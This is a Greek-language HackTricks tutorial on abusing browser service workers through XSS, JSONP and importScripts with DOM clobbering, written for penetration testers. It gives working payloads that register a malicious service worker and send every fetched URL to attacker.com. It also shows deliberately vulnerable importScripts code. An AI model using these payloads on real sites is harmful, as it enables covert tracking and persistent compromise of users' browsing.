Κατάχρηση Υπηρεσιών Εργαζομένων

Reading time: 6 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βασικές Πληροφορίες

Ένας εργαζόμενος υπηρεσίας είναι ένα σενάριο που εκτελείται από τον περιηγητή σας στο παρασκήνιο, ξεχωριστά από οποιαδήποτε ιστοσελίδα, επιτρέποντας δυνατότητες που δεν απαιτούν μια ιστοσελίδα ή αλληλεπίδραση χρήστη, ενισχύοντας έτσι τις δυνατότητες εκτός σύνδεσης και επεξεργασίας στο παρασκήνιο. Λεπτομερείς πληροφορίες σχετικά με τους εργαζόμενους υπηρεσίας μπορείτε να βρείτε εδώ. Εκμεταλλευόμενοι τους εργαζόμενους υπηρεσίας σε έναν ευάλωτο διαδικτυακό τομέα, οι επιτιθέμενοι μπορούν να αποκτήσουν έλεγχο στις αλληλεπιδράσεις του θύματος με όλες τις σελίδες εντός αυτού του τομέα.

Έλεγχος Υπαρχόντων Υπηρεσιών Εργαζομένων

Οι υπάρχοντες εργαζόμενοι υπηρεσίας μπορούν να ελεγχθούν στην ενότητα Υπηρεσίες Εργαζομένων της καρτέλας Εφαρμογή στα Εργαλεία Ανάπτυξης. Μια άλλη μέθοδος είναι η επίσκεψη στο chrome://serviceworker-internals για μια πιο λεπτομερή άποψη.

Ειδοποιήσεις Push

Οι άδειες ειδοποιήσεων push επηρεάζουν άμεσα την ικανότητα ενός εργαζόμενου υπηρεσίας να επικοινωνεί με τον διακομιστή χωρίς άμεση αλληλεπίδραση χρήστη. Εάν οι άδειες απορριφθούν, περιορίζει την ικανότητα του εργαζόμενου υπηρεσίας να θέτει μια συνεχόμενη απειλή. Αντίθετα, η χορήγηση αδειών αυξάνει τους κινδύνους ασφαλείας επιτρέποντας την παραλαβή και εκτέλεση πιθανών εκμεταλλεύσεων.

Δημιουργία Επίθεσης με Υπηρεσία Εργαζομένου

Για να εκμεταλλευτείτε αυτήν την ευπάθεια, πρέπει να βρείτε:

  • Έναν τρόπο να ανεβάσετε αυθαίρετα αρχεία JS στον διακομιστή και μια XSS για να φορτώσετε τον εργαζόμενο υπηρεσίας του ανεβασμένου αρχείου JS
  • Ένα ευάλωτο αίτημα JSONP όπου μπορείτε να χειριστείτε την έξοδο (με αυθαίρετο κώδικα JS) και μια XSS για να φορτώσετε το JSONP με ένα payload που θα φορτώσει έναν κακόβουλο εργαζόμενο υπηρεσίας.

Στο παρακάτω παράδειγμα θα παρουσιάσω έναν κώδικα για να καταχωρήσετε έναν νέο εργαζόμενο υπηρεσίας που θα ακούει το γεγονός fetch και θα στέλνει στον διακομιστή των επιτιθέμενων κάθε URL που ανακτάται (αυτός είναι ο κώδικας που θα χρειαστεί να ανεβάσετε στον διακομιστή ή να φορτώσετε μέσω μιας ευάλωτης απάντησης JSONP):

javascript
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});

Και αυτός είναι ο κώδικας που θα καταχωρήσει τον εργαζόμενο (ο κώδικας που θα πρέπει να είστε σε θέση να εκτελέσετε εκμεταλλευόμενοι μια XSS). Σε αυτή την περίπτωση, θα σταλεί ένα GET αίτημα στον διακομιστή των επιτιθέμενων γνωστοποιώντας αν η καταχώρηση του εργαζομένου υπηρεσίας ήταν επιτυχής ή όχι:

javascript
<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>

Σε περίπτωση κατάχρησης ενός ευάλωτου JSONP endpoint, θα πρέπει να βάλετε την τιμή μέσα στο var sw. Για παράδειγμα:

javascript
var sw =
"/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//"

Υπάρχει ένα C2 αφιερωμένο στην εκμετάλλευση των Service Workers που ονομάζεται Shadow Workers το οποίο θα είναι πολύ χρήσιμο για την κακή χρήση αυτών των ευπαθειών.

Η κατεύθυνση cache 24 ωρών περιορίζει τη διάρκεια ζωής ενός κακόβουλου ή συμβιβασμένου service worker (SW) σε το πολύ 24 ώρες μετά από μια διόρθωση ευπάθειας XSS, υποθέτοντας ότι η κατάσταση του πελάτη είναι online. Για να ελαχιστοποιήσουν την ευπάθεια, οι διαχειριστές ιστότοπων μπορούν να μειώσουν τον Χρόνο Ζωής (TTL) του script SW. Οι προγραμματιστές συμβουλεύονται επίσης να δημιουργήσουν ένα service worker kill-switch για γρήγορη απενεργοποίηση.

Κακή χρήση του importScripts σε ένα SW μέσω DOM Clobbering

Η συνάρτηση importScripts που καλείται από έναν Service Worker μπορεί να εισάγει ένα script από διαφορετικό τομέα. Εάν αυτή η συνάρτηση κληθεί χρησιμοποιώντας μια παράμετρο που θα μπορούσε να τροποποιήσει ένας επιτιθέμενος, θα μπορούσε να εισάγει ένα JS script από τον τομέα του και να αποκτήσει XSS.

Αυτό παρακάμπτει ακόμη και τις προστασίες CSP.

Παράδειγμα ευάλωτου κώδικα:

  • index.html
html
<script>
navigator.serviceWorker.register(
"/dom-invader/testcases/augmented-dom-import-scripts/sw.js" +
location.search
)
// attacker controls location.search
</script>
  • sw.js
javascript
const searchParams = new URLSearchParams(location.search)
let host = searchParams.get("host")
self.importScripts(host + "/sw_extra.js")
//host can be controllable by an attacker

Με DOM Clobbering

Για περισσότερες πληροφορίες σχετικά με το τι είναι το DOM Clobbering, ελέγξτε:

Dom Clobbering

Εάν το URL/domain που χρησιμοποιεί το SW για να καλέσει importScripts είναι μέσα σε ένα HTML στοιχείο, είναι δυνατό να το τροποποιήσετε μέσω του DOM Clobbering για να κάνετε το SW να φορτώσει ένα σενάριο από το δικό σας domain.

Για ένα παράδειγμα αυτού, ελέγξτε τον σύνδεσμο αναφοράς.

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks